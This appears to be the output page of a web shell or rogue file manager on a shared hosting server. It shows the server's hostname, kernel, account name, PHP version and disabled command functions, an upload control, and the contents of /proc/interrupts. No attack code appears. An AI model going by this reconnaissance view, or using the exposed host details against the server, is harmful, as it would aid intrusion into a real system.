HEX
Server: Apache
System: Linux hp3-wp-1011395.hostingp3.local 3.10.0-1160.144.1.el7.tuxcare.els3.x86_64 #1 SMP Fri Mar 6 13:52:53 UTC 2026 x86_64
User: csh2428284 (2038043)
PHP: 7.3.33
Disabled: shell_exec,exec,system,popen,set_time_limit
Upload Files
File: //proc/interrupts
            CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       
   0:   53892483          0          0          0          0          0   IO-APIC-edge      timer
   1:          9          0          0          0          0          0   IO-APIC-edge      i8042
   6:          3          0          0          0          0          0   IO-APIC-edge      floppy
   8:          0          0          0          0          0          0   IO-APIC-edge      rtc0
   9:          0          0          0          0          0          0   IO-APIC-fasteoi   acpi
  12:        157          0          0          0          0          0   IO-APIC-edge      i8042
  14:          0          0          0          0          0          0   IO-APIC-edge      ata_piix
  15:          0          0          0          0          0          0   IO-APIC-edge      ata_piix
 NMI:          0          0          0          0          0          0   Non-maskable interrupts
 LOC:        755        590        489        417        387        500   Local timer interrupts
 SPU:          0          0          0          0          0          0   Spurious interrupts
 PMI:          0          0          0          0          0          0   Performance monitoring interrupts
 IWI:    8063237    8240020    7710734    8629155   10480288    8108588   IRQ work interrupts
 RTR:          0          0          0          0          0          0   APIC ICR read retries
 RES:  176476414  133847909  163683912  129350835  158375342  125088819   Rescheduling interrupts
 CAL:     232519       7952       7458       8638       6563       7834   Function call interrupts
 TLB:       5284       4753       5934       6677       4550       4194   TLB shootdowns
 TRM:          0          0          0          0          0          0   Thermal event interrupts
 THR:          0          0          0          0          0          0   Threshold APIC interrupts
 DFR:          0          0          0          0          0          0   Deferred Error APIC interrupts
 MCE:          0          0          0          0          0          0   Machine check exceptions
 MCP:       9868       9868       9868       9868       9868       9868   Machine check polls
 HYP:  334105290  112359886  133357330  351265559  339174221  304808425   Hypervisor callback interrupts
 HVS:  859327448  762817965  867880793  795535874  965381495  745806584   Hyper-V stimer0 interrupts
 ERR:          0
 MIS:          0
 PIN:          0          0          0          0          0          0   Posted-interrupt notification event
 NPI:          0          0          0          0          0          0   Nested posted-interrupt event
 PIW:          0          0          0          0          0          0   Posted-interrupt wakeup event